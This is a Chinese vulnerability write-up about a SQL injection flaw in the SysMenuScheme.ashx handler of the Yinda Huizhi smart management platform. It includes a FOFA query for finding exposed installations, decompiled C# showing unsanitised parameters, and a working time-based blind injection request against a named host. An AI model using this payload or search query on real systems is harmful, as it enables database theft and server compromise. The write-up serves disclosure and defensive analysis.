漏洞简介
福建银达汇智信息科技股份有限公司成立于2009年,位于福建省福州市,是一家以从事软件和信息技术服务业为主的企业。银达汇智智慧综合管理平台 SysMenuScheme.ashx 存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码,站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
title="智慧综合管理平台登入"
漏洞分析
先看下 Module/Kernel/Controller/SysMenuScheme.ashx 引用的dll名称
<%@ WebHandler Language="C#" CodeBehind="SysMenuScheme.ashx.cs" Class="KR.Administrator.Module.Controller.SysMenuScheme" %>
再去对应dll文件 KR.Administrator.dll 反编译后获取 Module.Controller.SysMenuScheme 的执行逻辑
namespace KR.Administrator.Module.Controller;
public class SysMenuScheme : BaseHandler
{
private SysMenuSchemeDao bll = new SysMenuSchemeDao();
public override void AjaxProcess(HttpContext context)
{
context.Response.ContentType = "text/plain";
string str1 = WRequest.GetString("action");
try
{
if (string.op_Equality(str1, "find"))
{
int recordcount = 0;
string str2 = " 1=1 ";
if (!string.IsNullOrEmpty(WRequest.GetString("name")))
str2 += $" and name like '%{WRequest.GetString("name")}%'";
string strWhere = str2 + $" and org_id = {SystemHelper.CurrentOrg.id}";
DataTable dataTableList = this.bll.GetDataTableList(WRequest.GetInt("pagesize") == 0 ? 10 : WRequest.GetInt("pagesize"), WRequest.GetInt("pageIndex") == 0 ? 1 : WRequest.GetInt("pageIndex") + 1, "*", $" {(string.IsNullOrEmpty(WRequest.GetString("SortField")) ? (object) "id" : (object) WRequest.GetString("SortField"))} {(string.IsNullOrEmpty(WRequest.GetString("SortOrder")) ? (object) "desc" : (object) WRequest.GetString("SortOrder"))}", strWhere, out recordcount);
DataGridModel dataGridModel = new DataGridModel()
{
total = recordcount,
data = dataTableList
};
context.Response.Write(JsonConvert.SerializeObject((object) dataGridModel));
LogHelper.SysInfo(":查看!", new Exception(context.Request.Form.ToString()));
}
else if (string.op_Equality(str1, "save"))
this.save(context);
else if (string.op_Equality(str1, "getMenuScheme"))
{
DataTable dataTable = this.bll.GetDataTable("sys_menu_scheme", $" org_id={SystemHelper.CurrentOrg.id} ");
DataRow dataRow = dataTable.NewRow();
dataRow["id"] = (object) 0;
dataRow["name"] = (object) "自定义";
dataTable.Rows.InsertAt(dataRow, 0);
context.Response.Write(JsonConvert.SerializeObject((object) dataTable));
}
else if (string.op_Equality(str1, "look") || string.op_Equality(str1, "update"))
{
KR.Model.SysMenuScheme sysMenuScheme = this.bll.GetItem((long) WRequest.GetInt("id"));
context.Response.Write(JsonConvert.SerializeObject((object) sysMenuScheme));
}
else if (string.op_Equality(str1, "selectedDel"))
{
if (SystemHelper.checkPermission("SysMenuScheme_btnDel"))
{
string str3 = WRequest.GetString("ids");
if (!string.IsNullOrEmpty(str3))
{
IList<KR.Model.SysMenuScheme> list = (IList<KR.Model.SysMenuScheme>) this.bll.GetList($"id in ({str3}) ");
LogHelper.SysInfo(":删除!", new Exception(JsonConvert.SerializeObject((object) list)));
StringBuilder stringBuilder = new StringBuilder();
foreach (KR.Model.SysMenuScheme sysMenuScheme in (IEnumerable<KR.Model.SysMenuScheme>) list)
{
stringBuilder.Append(sysMenuScheme.id);
stringBuilder.Append(",");
}
this.bll.Delete((ICondition) new Condition("id", FieldType.Int32, (object) stringBuilder.ToString().Trim(new char[1]
{
','
}), Comparison.In));
context.Response.Write(SystemHelper.WriteResult("success", "删除成功!"));
}
else
context.Response.Write(SystemHelper.WriteResult("error", "请选择要删除项!"));
}
else
context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
}
else if (string.op_Equality(str1, "conditionDel"))
{
if (SystemHelper.checkPermission("SysMenuScheme_btnDel"))
{
string strWhere = " 1=1 ";
if (!string.IsNullOrEmpty(WRequest.GetString("name")))
strWhere += $" and name like '%{WRequest.GetString("name")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("remark")))
strWhere += $" and remark like '%{WRequest.GetString("remark")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("org_idBegin")))
strWhere += $" and org_id >= {WRequest.GetString("org_idBegin")}";
if (!string.IsNullOrEmpty(WRequest.GetString("org_idEnd")))
strWhere += $" and org_id < {WRequest.GetString("org_idEnd")}";
IList<KR.Model.SysMenuScheme> list = (IList<KR.Model.SysMenuScheme>) this.bll.GetList(strWhere);
LogHelper.SysInfo(":删除!", new Exception(JsonConvert.SerializeObject((object) list)));
StringBuilder stringBuilder = new StringBuilder();
foreach (KR.Model.SysMenuScheme sysMenuScheme in (IEnumerable<KR.Model.SysMenuScheme>) list)
{
stringBuilder.Append(sysMenuScheme.id);
stringBuilder.Append(",");
}
if (stringBuilder.Length > 0)
{
this.bll.Delete((ICondition) new Condition("id", FieldType.Int32, (object) stringBuilder.ToString().Trim(new char[1]
{
','
}), Comparison.In));
context.Response.Write(SystemHelper.WriteResult("success", "删除成功!"));
}
else
context.Response.Write(SystemHelper.WriteResult("error", "未找到符合条件的数据!"));
}
else
context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
}
else if (string.op_Equality(str1, "exportExcel"))
this.exportExcel(context);
else
context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
}
catch (Exception ex)
{
LogHelper.SysError($":操作异常!action:{str1};Form:{context.Request.Form.ToString()}", ex);
context.Response.Write(SystemHelper.WriteResult("error", ex.Message.Replace("\"", "'")));
}
}
private void save(HttpContext context)
{
KR.Model.SysMenuScheme model = new KR.Model.SysMenuScheme();
model.id = WRequest.GetInt("id");
if (model.id != 0)
{
model = this.bll.GetItem((long) model.id);
if (model == null)
{
context.Response.Write(SystemHelper.WriteResult("error", "数据保存失败!指定的记录不存在或已经被其他用户删除!"));
return;
}
}
model.name = WRequest.GetString("name").Trim();
model.remark = WRequest.GetString("remark").Trim();
model.org_id = SystemHelper.CurrentOrg.id;
bool flag1;
bool flag2;
if (model.id != 0)
{
if (SystemHelper.checkPermission("SysMenuScheme_btnUpdate"))
{
flag1 = this.bll.Update(model);
LogHelper.SysInfo(string.Format(":修改!", new object[0]), new Exception(JsonConvert.SerializeObject((object) model)));
flag2 = true;
}
else
{
context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
return;
}
}
else if (SystemHelper.checkPermission("SysMenuScheme_btnAdd"))
{
flag1 = this.bll.Add(model) > 0L;
LogHelper.SysInfo(string.Format(":新增!", new object[0]), new Exception(JsonConvert.SerializeObject((object) model)));
flag2 = false;
}
else
{
context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
return;
}
if (flag1)
{
if (flag2)
context.Response.Write(SystemHelper.WriteResult("success", "修改成功!", "update"));
else
context.Response.Write(SystemHelper.WriteResult("success", "新增成功!", "add"));
}
else
context.Response.Write(SystemHelper.WriteResult("error", "数据保存失败!操作过程中出现异常!"));
}
private void exportExcel(HttpContext context)
{
string condition = " 1=1 ";
if (!string.IsNullOrEmpty(WRequest.GetString("sname")))
condition += $" and name like '%{WRequest.GetString("sname")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("sremark")))
condition += $" and remark like '%{WRequest.GetString("sremark")}%'";
if (!string.IsNullOrEmpty(WRequest.GetString("sorg_idBegin")))
condition += $" and org_id >= {WRequest.GetString("sorg_idBegin")}";
if (!string.IsNullOrEmpty(WRequest.GetString("sorg_idEnd")))
condition += $" and org_id < {WRequest.GetString("sorg_idEnd")}";
DataTable dataTabelToExcel = this.bll.GetDataTabelToExcel(KR.Controls.RunTime.Global.webSiteConfig.ExportCount, condition);
if (((InternalDataCollectionBase) dataTabelToExcel.Rows).Count <= 0)
return;
SystemHelper.CreateExcel(dataTabelToExcel, "application/x-excel", DateTime.Now.ToString("yyyyMMddHHmmssfff"), context, "导出Excel表");
}
public new bool IsReusable => false;
}
主要的方法AjaxProcess根据不同的action参数执行不同的操作
- 当
action为find时: - 当
action为selectedDel时:ids参数被直接拼接到id in ({str3})中,同样存在SQL注入的风险。攻击者可以通过构造特殊的ids值来执行任意SQL命令(需要权限)。
- 当
action为conditionDel时:- 多个参数(
name,remark,org_idBegin,org_idEnd)被拼接到strWhere中,尤其是org_idBegin和org_idEnd直接拼接到数值比较中,没有进行类型检查或转义,可能导致SQL注入(需要权限)。
- 多个参数(
- 当
action为exportExcel时:- 类似于
conditionDel,多个参数被拼接到查询条件中,存在SQL注入的风险。
- 类似于
整体执行流程如下图所示:

漏洞复现
POST /Module/Kernel/Controller/SysMenuScheme.ashx HTTP/1.1
Host: windor.mrxn.net
Content-Type: application/x-www-form-urlencoded
action=exportExcel&sname='waitfor+delay'0:0:4'--

成功延时 4 秒


